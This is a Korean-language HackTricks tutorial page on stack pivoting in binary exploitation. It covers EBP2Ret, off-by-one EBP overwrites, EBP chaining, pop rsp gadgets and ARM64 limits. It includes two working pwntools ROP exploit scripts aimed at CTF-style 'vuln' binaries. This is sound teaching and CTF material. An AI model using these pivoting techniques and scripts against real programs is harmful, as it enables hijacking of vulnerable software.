스택 피벗팅 - EBP2Ret - EBP 체이닝
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 leave; ret
명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
상기 사항으로, **leave
**는 기본적으로 다음을 의미합니다:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
이 기술은 EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
fvuln
실행 중에, 가짜 EBP를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the pop
operation), EIP를 간접적으로 제어할 수 있습니다. fvuln
이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 pop
작업은 ESP를 4만큼 감소시켜 실제로 공격자가 저장한 주소를 가리키게 합니다.
여기서 2개의 주소를 알아야 한다는 점에 유의하세요: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.
Exploit Construction
먼저, 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 합니다. ESP는 여기로 가리키고 첫 번째 ret
을 실행합니다.
그 다음, 임의의 코드를 실행할 ret
이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
- 유효한 ONE_GADGET 주소.
- **
system()
**의 주소 뒤에 4개의 쓰레기 바이트와"/bin/sh"
의 주소(x86 bits). jump esp;
가젯(ret2esp)의 주소 뒤에 실행할 쉘코드.- 일부 ROP 체인.
제어된 메모리 부분의 이러한 주소 앞에는 4
바이트가 있어야 합니다. 이는 pop
부분의 leave
명령어 때문입니다. 이 4B를 악용하여 두 번째 가짜 EBP를 설정하고 실행을 계속 제어할 수 있습니다.
Off-By-One Exploit
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 EBP의 가장 하위 바이트만 수정할 수 있을 때 사용됩니다. 이 경우, **ret
**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.
보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
EBP Chaining
따라서 스택의 EBP
항목에 제어된 주소를 넣고 EIP
에 leave; ret
주소를 넣으면, 스택에서 제어된 EBP
주소로 ESP
를 이동할 수 있습니다.
이제 **ESP
**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 RET
입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
&(next fake EBP)
->leave
명령어의pop ebp
로 인해 새로운 EBP를 로드합니다.system()
->ret
에 의해 호출됩니다.&(leave;ret)
-> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.&("/bin/sh")
->system
의 매개변수입니다.
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
이것은 ret2lib와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서 흥미로울 수 있습니다.
또한, 여기에는 스택 누수를 사용하여 승리하는 함수를 호출하는 챌린지의 예가 있습니다. 이것은 페이지의 최종 페이로드입니다:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP는 사용되지 않을 수 있음
As explained in this post, if a binary is compiled with some optimizations, the EBP never gets to control ESP, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.
This is because the prologue and epilogue changes if the binary is optimized.
- 최적화되지 않음:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 최적화됨:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSP 제어의 다른 방법
pop rsp
가젯
이 페이지에서 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, pop rsp
가젯이 있었고 스택에서의 누출이 있었습니다:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp 기술에 대한 내용은 여기에서 확인하세요:
References & Other Examples
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 다시 가져옵니다. 그런 다음 WWW를 사용하여
.fini_array
항목을 남용하여 영구 루프를 생성하고__libc_csu_fini
를 호출합니다 (자세한 정보는 여기). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
ARM64
ARM64에서 함수의 프롤로그와 에필로그는 스택에서 SP 레지스터를 저장하거나 검색하지 않습니다. 게다가, RET
명령은 SP가 가리키는 주소로 반환하지 않고 x30
내부의 주소로 반환합니다.
따라서 기본적으로 에필로그를 남용하더라도 스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다. SP를 제어할 수 있게 되더라도 여전히 x30
레지스터를 제어할 방법이 필요합니다.
- 프롤로그
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP는 프레임 레코드를 가리킴
- 에필로그
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **SP
**를 제어할 수 있는 것입니다 (어떤 레지스터의 값을 제어하여 SP
에 전달하거나, 어떤 이유로 SP
가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 에필로그를 남용하여 **제어된 SP
**에서 x30
레지스터를 로드하고 **RET
**를 수행하는 것입니다.
다음 페이지에서도 ARM64에서의 Ret2esp의 동등한 내용을 확인할 수 있습니다:
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.